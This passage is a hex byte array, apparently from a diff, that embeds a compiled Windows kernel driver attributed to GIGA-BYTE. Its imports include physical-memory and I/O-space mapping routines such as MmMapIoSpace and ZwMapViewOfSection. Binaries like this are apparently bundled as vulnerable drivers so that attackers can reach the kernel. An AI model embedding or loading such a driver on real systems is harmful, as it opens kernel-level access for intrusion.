0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, + 0x50, 0x44, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1A, 0x1F, 0x00, 0x00, + 0x64, 0x44, 0x00, 0x00, 0x1C, 0x1F, 0x00, 0x00, 0x85, 0x1F, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0x88, 0x1F, 0x00, 0x00, 0x4A, 0x20, 0x00, 0x00, + 0x84, 0x44, 0x00, 0x00, 0x4C, 0x20, 0x00, 0x00, 0xF7, 0x20, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0xF8, 0x20, 0x00, 0x00, 0xC7, 0x21, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0xC8, 0x21, 0x00, 0x00, 0xC1, 0x22, 0x00, 0x00, + 0x9C, 0x44, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0x4A, 0x23, 0x00, 0x00, + 0xB4, 0x44, 0x00, 0x00, 0x4C, 0x23, 0x00, 0x00, 0xDE, 0x23, 0x00, 0x00, + 0xC4, 0x44, 0x00, 0x00, 0xE0, 0x23, 0x00, 0x00, 0xCF, 0x24, 0x00, 0x00, + 0xEC, 0x45, 0x00, 0x00, 0xD0, 0x24, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, + 0x30, 0x45, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, 0xD7, 0x28, 0x00, 0x00, + 0xEC, 0x44, 0x00, 0x00, 0xD8, 0x28, 0x00, 0x00, 0x3B, 0x29, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x3C, 0x29, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, 0xB1, 0x29, 0x00, 0x00, + 0xC4, 0x44, 0x00, 0x00, 0xB4, 0x29, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, + 0x0C, 0x46, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, + 0x88, 0x45, 0x00, 0x00, 0x4C, 0x2B, 0x00, 0x00, 0x1A, 0x2C, 0x00, 0x00, + 0xA8, 0x45, 0x00, 0x00, 0x68, 0x2C, 0x00, 0x00, 0x0F, 0x2D, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0x64, 0x2D, 0x00, 0x00, 0x30, 0x2E, 0x00, 0x00, + 0x20, 0x46, 0x00, 0x00, 0x40, 0x2E, 0x00, 0x00, 0x5F, 0x2E, 0x00, 0x00, + 0x50, 0x46, 0x00, 0x00, 0x60, 0x2E, 0x00, 0x00, 0x87, 0x2E, 0x00, 0x00, + 0x5C, 0x46, 0x00, 0x00, 0x90, 0x2E, 0x00, 0x00, 0xAD, 0x2E, 0x00, 0x00, + 0xC8, 0x45, 0x00, 0x00, 0xB0, 0x2E, 0x00, 0x00, 0x0A, 0x2F, 0x00, 0x00, + 0x64, 0x46, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x00, 0x32, 0x2F, 0x00, 0x00, + 0x88, 0x46, 0x00, 0x00, 0x50, 0x2F, 0x00, 0x00, 0x78, 0x2F, 0x00, 0x00, + 0x90, 0x46, 0x00, 0x00, 0x80, 0x2F, 0x00, 0x00, 0xC6, 0x2F, 0x00, 0x00, + 0x94, 0x46, 0x00, 0x00, 0xD0, 0x2F, 0x00, 0x00, 0xD6, 0x2F, 0x00, 0x00, + 0x98, 0x46, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x00, 0xE1, 0x2F, 0x00, 0x00, + 0x9C, 0x46, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x39, 0x33, 0x00, 0x00, + 0x70, 0x46, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x3A, 0x34, 0x00, 0x00, + 0x80, 0x46, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x2A, 0x80, 0x00, 0x00, + 0x3C, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, + 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0x48, + 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0xFA, 0x96, + 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0xD5, 0xCF, 0xFF, 0xFF, 0x45, + 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, + 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, + 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xB1, 0xCF, 0xFF, 0xFF, 0x48, + 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xA4, 0xCF, 0xFF, 0xFF, + 0x66, 0x44, 0x89, 0x0D, 0xA2, 0xCF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0x95, + 0xCF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xC0, 0x48, + 0x89, 0x05, 0x86, 0xCF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, + 0x84, 0xCF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xE0, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x84, 0x00, 0x00, + 0x10, 0x40, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x44, 0x84, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x07, 0x52, 0x74, + 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, + 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x57, 0x00, 0x44, 0x62, + 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x00, 0x00, 0xB1, 0x03, 0x4B, 0x65, + 0x41, 0x63, 0x71, 0x75, 0x69, 0x72, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, + 0x63, 0x6B, 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, + 0x4C, 0x6F, 0x63, 0x6B, 0x00, 0x00, 0x5F, 0x04, 0x4B, 0x65, 0x52, 0x65, + 0x6C, 0x65, 0x61, 0x73, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, + 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, 0x4C, 0x6F, + 0x63, 0x6B, 0x00, 0x00, 0x94, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, + 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0xBE, 0x00, + 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, + 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xE2, 0x04, 0x4D, 0x6D, 0x42, 0x75, + 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, + 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x0D, 0x05, + 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, + 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0x34, 0x05, 0x4D, 0x6D, 0x55, 0x6E, + 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, + 0x65, 0x73, 0x00, 0x00, 0x0B, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, + 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x33, 0x05, 0x4D, 0x6D, + 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, + 0x00, 0x00, 0xD5, 0x04, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, + 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, + 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xEF, 0x04, 0x4D, 0x6D, + 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, + 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x65, 0x02, + 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, + 0x6C, 0x00, 0x9B, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, + 0x8B, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, + 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x96, 0x02, 0x49, 0x6F, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, + 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x44, 0x65, + 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, + 0xA4, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, + 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, + 0xB7, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, + 0xC8, 0x05, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, + 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x48, 0x61, 0x6E, + 0x64, 0x6C, 0x65, 0x00, 0x8E, 0x09, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, + 0x65, 0x00, 0xE4, 0x09, 0x5A, 0x77, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x65, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xCF, 0x09, 0x5A, 0x77, 0x4D, 0x61, + 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x00, 0x00, 0x5D, 0x0A, 0x5A, 0x77, 0x55, 0x6E, 0x6D, 0x61, + 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x00, 0x00, 0xF7, 0x04, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, + 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x00, 0x00, 0xFE, 0x04, 0x4D, 0x6D, 0x49, 0x73, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x00, 0x00, + 0xC9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, + 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, + 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x48, 0x00, 0x48, 0x61, 0x6C, 0x54, + 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x42, 0x75, 0x73, 0x41, + 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x48, 0x41, 0x4C, 0x2E, + 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x04, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, + 0xE8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x02, 0x34, 0x00, + 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, + 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, + 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, + 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, + 0x6F, 0x00, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, + 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, + 0x30, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x1F, 0x00, 0x01, 0x00, 0x43, 0x00, + 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, + 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x47, 0x00, 0x49, 0x00, 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, + 0x59, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x45, 0x00, + 0x43, 0x00, 0x48, 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x4C, 0x00, 0x4F, 0x00, + 0x47, 0x00, 0x59, 0x00, 0x20, 0x00, 0x43, 0x00, 0x4F, 0x00, 0x2E, 0x00, + 0x2C, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x44, 0x00, 0x2E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x18, 0x00, 0x01, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x49, 0x00, + 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x59, 0x00, 0x54, 0x00, + 0x45, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, + 0x4E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x44, 